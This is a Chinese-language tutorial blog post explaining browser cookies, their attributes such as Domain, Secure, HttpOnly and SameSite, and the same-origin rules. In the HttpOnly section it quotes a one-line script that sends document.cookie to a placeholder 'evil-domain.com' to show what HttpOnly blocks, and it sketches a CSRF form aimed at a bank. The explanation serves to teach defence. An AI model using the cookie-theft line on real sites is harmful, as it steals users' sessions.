我们都知道HTTP协议
是无状态
的,这种无状态意味着程序需要验证每一次请求,从而辨别客户端的身份。 Cookie
,就是为了辨别客户端身份而储存在客户端本地的数据
一、介绍Cookie
Cookie
由服务器生成,发送给浏览器,浏览器把cookie
保存到内存中
或者某个目录下的文件内
,下一次请求同一网站时会把该cookie
发送给服务器
由于cookie
是保存在客户端
上的,所以浏览器加入了一些限制确保 cookie 不会被恶意使用,同时不会占据太多磁盘空间,所以 cookie 的数量和大小
是有限的。
不同浏览器对 cookie 数量和大小的限制,是不一样的。一般来说,单个域设置的 cookie 不应超过50个
,每个 cookie 的大小不能超过4KB
。超过限制以后,cookie 将被忽略
,不会被设置
二、Cookie
作用
- 对话管理:保存已登录用户的凭证
- 简单的缓存:存储一些简单的业务数据,比如购物车等需要记录的信息
- 个性化:保存用户的偏好,比如网页的字体大小、背景色等等
- 追踪:记录和分析用户行为
三、Cookie
类别
第一方cookie
:由相同站点发送的 cookie第三方cookie
:由跨站请求发送的cookie
关于相同站点、跨站的判断在讲到
samesite
属性的时候会介绍
会话cookie
:没有设置有效时间的 cookie。只要关闭了浏览器(注意不是关闭网页页面),cookie 就会被销毁。(cookie 存在于浏览器的内存中,当关闭了浏览器 cookie 就销毁了)永久cookie
:cookie 被保存在文件中,在有效时间内可长期存在,浏览器重启或机器重启都可以再次读取到cookie
四、cookie的特性
1.后端通过http头设置
服务端
通过在http响应头
中设置一个或多个Set-Cookie来设置 cookie
2.请求时通过http头传给后端
浏览器接收到Set-Cookie
指令时,会将cookie的名称与值
储存在浏览器的cookie存放区
,并记录该cookie隶属的域名、网址路径、创建时间、过期时间、是否脚本可访问、是否为安全连接 等属性。
当浏览器再次发出HTTP Request
指令到服务器时,就会比对目前在浏览器的 cookie 存放区有沒有该域名、该路径、尚未过期
以及符合其它一些条件的cookie
,如果有的话就会包含在 HTTP Request 指令的Cookie头
中,多个cookie以分号;
分隔。如下图:
假设浏览器在请求一个网页时,该网页包含 20 张图、3 个 CSS 文件、2 个 JavaScript 文件,那么同样一份 cookie 就会发送 25 次到服务端,如果 cookie 的大小有 4K 的话,光是浏览一个网页你可能就要从你的电脑发送出 100KB 的数据。 所以使用 cookie 并非「多多益善」,而是要「小心使用」,否则会造成不必要的带宽浪费。
3.前端可读写
Javascript
可以使用document.cookie
对当前网站的cookie进行读写:
注意:Javascript 可读写的 cookie 只能是没有用
http-only
限制的 cookie
// 读取浏览器中的cookie
console.log(document.cookie);
// 写入两个 cookie:myname 和 myhome
// 通过执行多次 document.cookie=... 语句来添加多个 cookie
document.cookie='myname=lhm;path=/;domain=.baidu.com';
document.cookie='myhome=gd;path=/;domain=.baidu.com';
- 如果要修改某个
cookie
,只需用document.cookie = ...
语句创建一个同名的cookie,注意domain和path要保持一致。则原来的cookie会被覆盖,达到修改的目的。 - 如果要删除某个cookie,用document.cookie = …语句将cookie的过期时间修改为一个过去的时间,如下:
var exp = new Date();
exp.setTime(exp.getTime() - 1);
document.cookie = "myhome=gd;path=/;domain=.baidu.com;expires=" + exp.toGMTString();
将max-age设置为0
也能达到删除的效果:
document.cookie = "myhome=gd;path=/;domain=.baidu.com;max-age=0";
4.遵守同源策略
当前网页
只能访问与它同源
的 cookie
是否同源是用当前网页网址和cookie的domain来判断的。 谷歌浏览器通过F12-Application-Storage-Cookies-当前域名所查看到的 cookie,有两个来源,一是服务端通过在http响应头中设置的 cookie,二是浏览器在本地所读取到的 cookie。在本地读取 cookie 就需要遵守同源策略
- 浏览器的同源策略中的同源指的是协议、域名、端口三者相同,而
cookie的同源仅要求域名
,也就是说,两个网址只要域名相同,就可以共享cookie,注意,这里不要求协议和端口相同。 所以https://example.com:8080/和http://example.com:8081/的cookie是共享的,因为它们的domain都是example.com
- 同源策略认为
域和子域属于不同的域
,例如child1.a.com
与a.com
、child1.a.com
与child2.a.com
、xxx.child1.a.com
与child1.a.com
两两不同源 一个页面可以为本域和任何父域设置cookie
,只要父域不是公共后缀(public suffix)即可
所以两个不同的子域想要共享cookie,只要把 cookie 的domain设成相同的父域即可。 比如,http://child1.a.com 和 http://child2.a.com 想要共享cookie,只要把它们的 cookie 的domain设置成a.com即可
设置cookie的时候,如果指定cookie的所属域名为像上面例子中的.baidu.com这样的顶级域名,那么二级域名和三级域名不用做任何设置,都可以读取这个cookie
五、Cookie
属性
1.Expires
,Max-Age
Expires
属性指定一个具体的到期时间
,到了指定时间以后,浏览器就不再保留这个cookie。它的值是UTC格式
,可以使用Date.prototype.toUTCString()
进行格式转换
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
浏览器根据本地时间
,决定 cookie 是否过期,由于本地时间是不精确的,所以没有办法保证 cookie 一定会在服务器指定的时间过期
Max-Age
属性指定从现在开始 cookie 存在的秒数
,比如60 * 60 * 24 * 365(即一年)
。过了这个时间以后,浏览器就不再保留这个 cookie。- 如果同时指定了
Expires
和Max-Age
,那么Max-Age
的值将优先生效。 - 如果
Set-Cookie
字段没有指定Expires
或Max-Age
属性,那么这个cookie
就是Session Cookie
,即它只在本次对话存在,一旦用户关闭浏览器,浏览器就不会再保留这个cookie
2.Domain
Domain
属性指定浏览器发出HTTP请求
时,哪些域名要附带这个cookie
如果没有指定该属性,浏览器会默认将其设为当前域名
,这时子域名将不会附带这个 cookie 。
比如,example.com
不设置 cookie 的domain
属性,那么sub.example.com
将不会附带这个 cookie
举例验证一下:
1、修改hosts文件,为本地设置了两个域名
2、在elin.com下的页面设置cookie,该 cookie 不设置domain
3、访问该页面并查看 cookie
4、访问db.elin.com下的页面并查看 cookie
可以看到子域名并不能看到这个 cookie
如果指定了domain属性,那么子域名也会附带这个 cookie
继续用上面的例子验证:
1、修改elin.com下的页面的cookie设置,该 cookie 设置domain
2、清除该页面下的 cookie,重新访问该页面并查看 cookie
3、刷新db.elin.com下的页面并查看 cookie
可以看到子域名可以看到这个 cookie
如果服务器指定的域名不属于服务器当前域名或者其父域名,浏览器会拒绝这个 cookie
继续用上面的例子验证:
1、修改elin.com下的页面的cookie设置,该 cookie 的domain设置为一个不相关的域名
2、清除该页面下的 cookie,重新访问该页面并查看 cookie
可以看到没有 cookie,浏览器拒绝了这个 cookie
3.Path
Path
属性指定浏览器发出HTTP请求
时,哪些路径要附带这个cookie
。
只要浏览器发现,Path属性值是HTTP请求路径
的开头一部分,就会在头信息里面带上这个 cookie 。
比如,Path属性是/
,那么请求/docs
路径也会包含该cookie。当然,前提是域名必须一致
4.Secure
Secure
属性指定浏览器只有在加密协议HTTPS
下,才能将这个cookie发送到服务器。
该属性只是一个开关,不需要指定值`
通过谷歌浏览器开发者工具控制台
设置一个Cookie具有Secure属性
document.cookie = 'softwhy="antzone";max-age=1200;path=/;secure;'
上述代码执行结果会出现如下两种情况:
- 如果站点采用HTTPS,那么Cookie生成成功
- 如果站点采用HTTP,那么Cookie生成失败
后端语言也遵循上面两条规则:
- 如果连接到后端的请求采用 HTTPS,那么 Cookie 生成成功
- 如果请求采用 HTTP,那么 Cookie 生成失败,尽管在HTTP头部有对应的 Set-Cookie 内容,但不会真正成功生成对应的 Cookie
5.HttpOnly
HttpOnly
属性指定该cookie无法通过JavaScript脚本拿到,主要是document.cookie、XMLHttpRequest对象和Request API。防止该cookie被脚本读到,只有浏览器发出HTTP请求时,才会带上该cookie
下面是跨站点载入的一个恶意脚本的代码,能够将当前网页的cookie发往第三方服务器。如果设置了一个cookie的HttpOnly属性,就不会读到该cookie
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
6.SameSite
6.1 SameSite 的作用
用来限制第三方 Cookie,减少安全风险
Chrome 51 开始,浏览器的 cookie 新增加了一个SameSite属性,SameSite 阻止浏览器将此 cookie 与跨站点请求一起发送,其主要目标是降低跨源信息泄漏的风险,同时也在一定程度上阻止了 CSRF 攻击和用户追踪
Cookie 往往用来存储用户的身份信息,恶意网站可以设法伪造带有正确 cookie 的HTTP请求,这就是CSRF 攻击
举例来说,用户登陆了银行网站your-bank.com,银行服务器发来了一个 cookie
Set-Cookie:id=a3fWa;
用户后来又访问了恶意网站malicious.com,上面有一个表单
<form action="your-bank.com/transfer" method="POST">
...
</form>
用户一旦被诱骗发送这个表单,银行网站就会收到带有正确 cookie 的请求
Cookie 的 domain (your-bank.com) 与当前访问的网站 (malicious.com) 不一样,这种 cookie 就称为第三方 cookie。它除了用于 CSRF 攻击,还可以用于用户追踪。 比如,你的网页上请求了一张 Facebook 的图片,Facebook 返回数据的时候顺便返回了一个 cookie,这个 cookie 的 domain 是facebook.com
<img src="facebook.com/face.png">
下次你再访问 Facebook 时发出的请求就会带有这个 cookie,从而 Facebook 就会知道你是谁了
6.2 SameSite 的值
设置三个值:Strict、Lax、None
- Strict
Strict 是最严格的防护,将阻止浏览器在所有跨站点请求中将 cookie 发送到目标站点。因此这种设置可以阻止所有 CSRF 攻击
Set-Cookie: CookieName=CookieValue; SameSite=Strict;
这个规则过于严格,可能造成非常不好的用户体验。比如,当前网页有一个 GitHub 链接,用户点击跳转就不会带有 GitHub 的 cookie,跳转过去总是未登陆状态。 不过,具有交易业务的网站很可能不希望从外站链接到任何交易页面,因此这种场景最适合使用 strict 标志。
- Lax
Lax规则稍稍放宽,大多数情况也是不发送第三方 cookie,但是导航到目标网址的Get请求除外。另外,使用JavaScript脚本发起的请求也无法携带第三方 cookie
Set-Cookie: CookieName=CookieValue; SameSite=Lax;
导航到目标网址的 GET 请求,只包括三种情况:
- 链接
<a href="..."></a>
- 预加载请求
<link rel="prerender" href="..."/>
- 以GET 方式提交的表单
<form method="GET" action="...">
设置了 Strict 或 Lax 以后,基本就杜绝了 CSRF 攻击。当然,前提是用户浏览器支持 SameSite 属性
- None
Chrome 计划将 Lax 变为默认设置。这时,网站可以选择显式关闭 SameSite 属性,将其设为None。不过,前提是必须同时设置Secure属性(Cookie 只能通过 HTTPS 协议发送),否则无效
// 设置无效
Set-Cookie: widget_session=abc123; SameSite=None
// 设置有效
Set-Cookie: widget_session=abc123; SameSite=None; Secure
SameSite=None的 cookie 会在同站请求、跨站请求下发送:
- 在旧版浏览器,如果SameSite属性没有设置,或者没有得到运行浏览器的支持,那么它的行为等同于None,Cookies会被包含在任何请求中——包括跨站请求。
- 但是,在Chrome 80+版本中,SameSite的默认属性是SameSite=Lax。换句话说,当 Cookie 没有设置 SameSite 属性时,将会视作 SameSite 属性被设置为Lax。如果想要指定 Cookies 在同站、跨站请求都被发送,那么需要明确指定 SameSite 为 None。具有 SameSite=None 的 Cookie 也必须标记为secure并通过HTTPS传送。
- Chrome 也宣布,将在下个版本也就是Chrome 83版本,在访客模式下禁用第三方 Cookie,在2022年全面禁用第三方 Cookie,到时候,即使你能指定 SameSite 为 None 也没有意义,因为你已经无法写入第三方 Cookie 了。
6.3 跨站的判断
第一方cookie和第三方cookie的区别就是:是否是相同站点发送的(不同则为跨站)。 所以第三方cookie也可以理解为跨站请求所设置的cookie。 所以,第三方cookie定义中的跨站与samesite所作用的跨站请求中的跨站,两者的判断是一样的,所以我们放到一起来说。 那么怎么判断是不是形成跨站了呢? 我们是拿 “请求的目标URL(或者cookie的domain)” 和 “当前网站URL(也就是浏览器地址栏中的网址)” 这两者来进行比较从而判断是否形成跨站的。 两者的ORIGIN的注册域相同则为相同站点,不同则构成跨站。所谓注册域,是指您可以购买或租用的域名,即公共后缀(public suffix)之下的一级,也称为顶级域名
最后, 希望大家早日实现:成为编程高手的伟大梦想!
欢迎交流~
本文版权归原作者曜灵所有!未经允许,严禁转载!对非法转载者, 原作者保留采用法律手段追究的权利!
若需转载,请联系微信公众号:连先生有猫病,可获取作者联系方式!